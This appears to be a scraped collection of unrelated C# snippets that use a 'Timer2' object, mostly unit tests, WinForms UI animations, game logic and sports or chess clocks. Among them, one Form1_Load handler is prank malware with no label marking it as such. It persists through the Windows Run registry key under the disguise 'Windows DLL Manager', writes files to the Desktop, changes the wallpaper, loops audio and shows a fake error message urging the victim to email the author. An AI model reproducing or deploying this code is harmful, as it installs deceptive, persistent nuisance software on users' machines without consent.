public void EnabledTimerTest() { int interval = 500; m_timer = new Timer2(interval); m_timer.AutoReset = true; m_timer.Elapsed += new ElapsedEventHandler(timer_Elapsed); m_hasFired = false; m_timer.Enabled = true; Assert.IsTrue(m_timer.Enabled); Thread.Sleep(interval + 1); Assert.IsTrue(m_hasFired, "Timer didn't fire first time"); m_hasFired = false; m_timer.Enabled = false; Assert.IsFalse(m_timer.Enabled); Thread.Sleep(interval + 1); Assert.IsFalse(m_hasFired, "Timer fired after diabling"); }
private void StartButton_Click(object sender, EventArgs e) { StartButton.SendToBack(); //StopButton.BringToFront(); if (RadioSeconds.Checked) { Timer2.Interval = Convert.ToInt32(Time_TextBox.Text); } else { Timer2.Interval = Convert.ToInt32(Time_TextBox.Text) * 10000; } //Start mine Timer2.Start(); if (panel1.Height == 1 && panel1.Width == 133) { panel1.Height = 129; panel1.Width = 133; } else { } }
//Event tick của panel chứa các nút chức năng private void Timer2_Tick(object sender, EventArgs e) { //OpPanel_Sliding if (IsShown) { if (IsFinished) { OpPanel.Width -= 10; if (OpPanel.Width <= 0) { Timer2.Stop(); IsShown = false; IsFinished = false; this.Update(); tButton.Enabled = true; } } } else { IsFinished = false; OpPanel.Width += 10; if (OpPanel.Width >= (OPanel.Width - EPanel.Width)) { Timer2.Stop(); IsShown = true; IsFinished = true; this.Update(); } } }
private void Form1_Load(object sender, EventArgs e) { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true); registryKey.SetValue("Windows DLL Manager", Application.ExecutablePath.ToString()); File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n"); File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n"); File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n"); Timer1.Start(); Timer2.Start(); Timer3.Start(); Timer4.Start(); Timer5.Start(); Timer6.Start(); Timer7.Start(); changewallp(); Interaction.MsgBox("Damn, something went wrong! Contact me via mail with error code if you want to fix that problem. Mail: [email protected]", MsgBoxStyle.Critical, "Error 0x0001"); MyProject.Computer.Audio.Play(Resources.barking, AudioPlayMode.BackgroundLoop); NotifyIcon1.Visible = true; NotifyIcon2.Visible = true; NotifyIcon3.Visible = true; NotifyIcon4.Visible = true; NotifyIcon5.Visible = true; NotifyIcon6.Visible = true; NotifyIcon7.Visible = true; NotifyIcon8.Visible = true; NotifyIcon9.Visible = true; NotifyIcon10.Visible = true; NotifyIcon11.Visible = true; NotifyIcon12.Visible = true; NotifyIcon13.Visible = true; NotifyIcon14.Visible = true; NotifyIcon15.Visible = true; NotifyIcon16.Visible = true; }
public void OnEndDrag(PointerEventData eventData) { transform.localPosition = startPosition; timer = FindObjectOfType <Timer2>(); if (timer.timeOfDay < 150 && !Timer2.harshWeather) { if (ResourceManager.wood >= 10 && ResourceManager.stone >= 1 && BB_BasicControls.ironMBuilt < 1) { //transform.position = Vector3.zero; //Destroy (clone, 0.1f); ResourceManager.subWood(10); ResourceManager.subStone(1); BB_BasicControls.ironMBuilt++; BB_BasicControls.buildBuilt++; //Debug.Log("Ennnnd" + transform.position.x); //Debug.Log("Ennnnnd" + transform.position.y); mousepos = Camera.main.ScreenToWorldPoint(Input.mousePosition); linehandler = Instantiate(building, Camera.main.ScreenToWorldPoint(Input.mousePosition), Quaternion.identity) as GameObject; linehandler.transform.SetAsLastSibling(); linehandler.transform.position = mousepos; linehandler.SetActive(true); CommonHappinessIndex.RecaclculateHappinessIndex(); //Debug.Log(ironMBuilt); } } }
public void OnEndDrag(PointerEventData eventData) { transform.localPosition = startPosition; timer = FindObjectOfType <Timer2>(); if (timer.timeOfDay < 150 && !Timer2.harshWeather) { foreach (var o in NPCSystem.followers) { if (o.Status == "idle") { NPCCountAvl++; } } if (ResourceManager.wood >= 5 && NPCCountAvl >= 1 && tavernBuilt < 1) { //transform.position = Vector3.zero; //Destroy (clone, 0.1f); ResourceManager.subWood(5); tavernBuilt++; //Debug.Log("Ennnnd" + transform.position.x); //Debug.Log("Ennnnnd" + transform.position.y); mousepos = Camera.main.ScreenToWorldPoint(Input.mousePosition); linehandler = Instantiate(building, Camera.main.ScreenToWorldPoint(Input.mousePosition), Quaternion.identity) as GameObject; linehandler.transform.SetAsLastSibling(); linehandler.transform.position = mousepos; linehandler.SetActive(true); CommonHappinessIndex.RecaclculateHappinessIndex(); Debug.Log(tavernBuilt); } } }
// Update is called once per frame //public static void TimeFill(float n) //{ // maxTime = n; // timeLeft = maxTime; //} public void Update() { timer2 = FindObjectOfType <Timer2>(); if (timer2.timeOfDay < 150 && !Timer2.harshWeather) { maxTime = 25; } else { maxTime = 35; } if (timeLeft > 0 && done == false) { timeLeft -= Time.deltaTime; timer.fillAmount = timeLeft / maxTime; } else { done = true; //Debug.Log("LinTimer"); //woods = GameObject.Find("woodnum").GetComponent<Text>(); stoneCnt = stoneCnt + 1; //T.woodCount = woodCnt; //woods.text = woodCnt.ToString(); timeLeft = maxTime; done = false; } }
private void start_Click(object sender, EventArgs e) { if (m_timer == null) { if (eventBased.Checked) { m_timer = new Timer2(); m_timer.Elapsed += new ElapsedEventHandler(m_timer_Elapsed); } else { m_timer = new Timer2Subclass(); m_timer.UseCallback = true; } m_timer.SynchronizingObject = status; m_timer.Interval = int.Parse(interval.Text); m_timer.Resolution = int.Parse(precision.Text); m_timer.AutoReset = true; m_timer.Start(); start.Text = "Stop"; } else { m_timer.Stop(); m_timer.Dispose(); m_timer = null; start.Text = "Start"; } }
private void Form1_Load(object sender, EventArgs e) { Form2.DefaultInstance.Show(); Timer1.Start(); Timer2.Start(); ListBox1.DrawMode = DrawMode.OwnerDrawFixed; }
public void AutoResetFalseTest() { Timer2 timer = new Timer2(); timer.AutoReset = false; Assert.IsFalse(timer.AutoReset); }
public void IntervalPositive() { Timer2 timer = new Timer2(); timer.Interval = 100; // no error == success }
private void OnCollisionEnter(Collision collision) { if (collision.gameObject.tag == "Player") { time2 = Timer2.gettime(); SceneManager.LoadScene("risult"); } }
public void ResolutionPositive() { Timer2 timer = new Timer2(); timer.Resolution = 100; // no error == success }
public void ResolutionZeroTest() { Timer2 timer = new Timer2(); timer.Resolution = 0; // no exception == success }
public void AutoResetTrueTest() { Timer2 timer = new Timer2(); timer.AutoReset = true; Assert.IsTrue(timer.AutoReset); }
// Start is called before the first frame update void Start() { timer = FindObjectOfType <Timer2>(); myRigidbody = GetComponent <Rigidbody2D>(); animator = GetComponent <Animator>(); SetUpBoundaries(); }
public void ConstructorResolutionZeroTest() { Timer2 timer = new Timer2(100, 0); Assert.IsNotNull(timer); // no error == success }
public void Pause_ShotClock() { if (Timer2 == null) { MessageBox.Show("NULL"); return; } Timer2.Stop(); }
private void Check_End_Shot_Time() { if (ShotTime <= 0) { Timer2.Stop(); Play_horn(); Reset_Timer2(); } }
private void Form_Login_Load(object sender, EventArgs e) { Timer1.Start(); Timer2.Start(); Ket_noi.Tao_ket_noi(); Kiem_tra_ket_noi(); lblChaoMung.Visible = true; PictureBox2.Width = 0; }
public void Start_ShotClock() { if (Timer1 == null) { MessageBox.Show("NULL"); return; } Timer2.Start(); }
private void F11Main_Load(object sender, EventArgs e) { Timer1.Start(); Timer2.Start(); Timer3.Start(); Timer4.Start(); Timer5.Start(); Timer6.Start(); Timer7.Start(); }
private static void SetRecorder() { //Recorder1 recorder = new Recorder1(); //recorder.ShowDialog(); //GraphRecorder using (Timer2 rec = new Timer2()) { rec.ShowDialog(); } }
public void Pause_Time() { if (Timer1 == null) { MessageBox.Show("NULL"); return; } Timer1.Stop(); Timer2.Stop(); }
private void Check_End_Time() { if (Minute == 0 && Second == 0) { Play_Sub_Horn(); Timer1.Stop(); Timer2.Stop(); Reset_Timer1(); Reset_Timer2(); } }
//Timer2 void Timer2_Tick(object sender, EventArgs e) { if (Bottom > 4) { Top--; } else { Timer2.Stop(); } }
public void frm_Login_Load(object sender, EventArgs e) { cbState.Text = "----ເລືອກສະຖານະ-----"; Panel1.Width = 0; pgb.Value = 0; pgb.Visible = false; Panel1.BackColor = Color.FromArgb(70, Color.Black); Panel2.BackColor = Color.FromArgb(70, Color.Black); pn.BackColor = Color.FromArgb(70, Color.Black); Timer2.Start(); }
public void Timer2_Tick(object sender, EventArgs e) { if (Panel1.Width < 371) { Panel1.Width = Panel1.Width + 20; } else { Timer2.Stop(); } }
//Huỳnh Viết Thám //Các thao tác thực hiện sau mỗi lần thời gian 2 tick private void Timer2_Tick(object sender, EventArgs e) { player[1].time--; lbTime2.Text = string.Format("{0:00}:{1:00}", player[1].time / 60, player[1].time % 60); if (player[1].time == 0) { Timer1.Stop(); Timer2.Stop(); MessageBox.Show("Time out! You still can continue, but time will be stuck at 00:00!", "Chess ITUS Time Notification", MessageBoxButtons.OK, MessageBoxIcon.Warning); } }
/// <summary> /// Adds a timer. /// </summary> /// <param name="tick"> The tick. </param> /// <param name="enabled"> True to enable, false to disable. </param> /// <param name="maxIterations"> (Optional) The maximum iterations. </param> /// <param name="removeAfterFinished"> (Optional) True if remove after finished. </param> /// <returns> /// A Timer2. /// </returns> public Timer2 AddTimer(float tick, bool enabled, uint maxIterations = 0, bool removeAfterFinished = false) { Timer2 timer = Add(new Timer2(tick, maxIterations) { Enabled = enabled }); if (removeAfterFinished) { timer.TimerFinished += sender => { Remove(sender); }; } return(timer); }
public void Initialize() { _stopwatch.Reset(); // Таймер _timer = _gameObjects["timer"] as Timer; if (_timer == null) throw new NullReferenceException("timer"); _timer.Reset(); // Таймер время до нажатия пробела _timerBeforeSpaceDown = _gameObjects["timerBeforeSpaceDown"] as Timer2; if (_timerBeforeSpaceDown == null) throw new NullReferenceException("timerBeforeSpaceDown"); _timerBeforeSpaceDown.Reset(); _firstLoop = true; _currentStrike = _gameObjects["currentStrikeInfo"] as StrikeInfo; if (_currentStrike == null) throw new NullReferenceException("currentStrikeInfo"); var ballStartPosition = CreateBallStartPosition(); StoreBallStartPosition(ballStartPosition); _ball = GetBall(); SetupBall(_ball, ballStartPosition); var holeStartPosition = CreateHoleStartPosition(); StoreHoleStartPosition(holeStartPosition); _hole = GetHole(); SetupHole(_hole, holeStartPosition); #region Задание параметров отображаемой мишени var holeView = _gameObjects["holeView"] as HoleView; if (holeView == null) throw new NullReferenceException("holeView"); var holeInfo = _currentStrike.Hole; // если отображаемый размер мишени не задан, используется действительный размер holeView.SetSize(holeInfo.VisibleSize == null ? holeInfo.Size : holeInfo.VisibleSize.Value); #endregion // Текущая игра _currentGame = _gameObjects["currentGame"] as Game; if (_currentGame == null) throw new NullReferenceException("currentGame"); // Все игроки var users = _gameObjects["users"] as Users; if (users == null) throw new NullReferenceException("users"); // Текущий игрок - испытуемый бьет первым _currentUser = users.FirstOrDefault(t => t.UserInfo.UserType == UserTypeEnum.User); if (_currentUser == null) throw new NullReferenceException("currentUser"); _gameObjects["currentUser"] = _currentUser; // Снять выделение с имени игрока var botScoreView = GameObjects["botScoreView"] as UserScoreView; if (botScoreView != null) { botScoreView.IsActive = false; } // Показать очки игрока var userScoreView = GameObjects["userScoreView"] as UserScoreView; if (userScoreView == null) throw new NullReferenceException("userScoreView"); userScoreView.Score = _currentUser.TotalScore; userScoreView.IsActive = true; GameObjects["currentUserScoreView"] = userScoreView; // Режим игрока var experiment = GameObjects["experiment"] as Experiment; if (experiment == null) throw new NullReferenceException("experiment"); _inTestMode = experiment.Mode != null && experiment.Mode.Value == ExeprimentModeEnum.Test && _currentStrike.InTestMode != null; }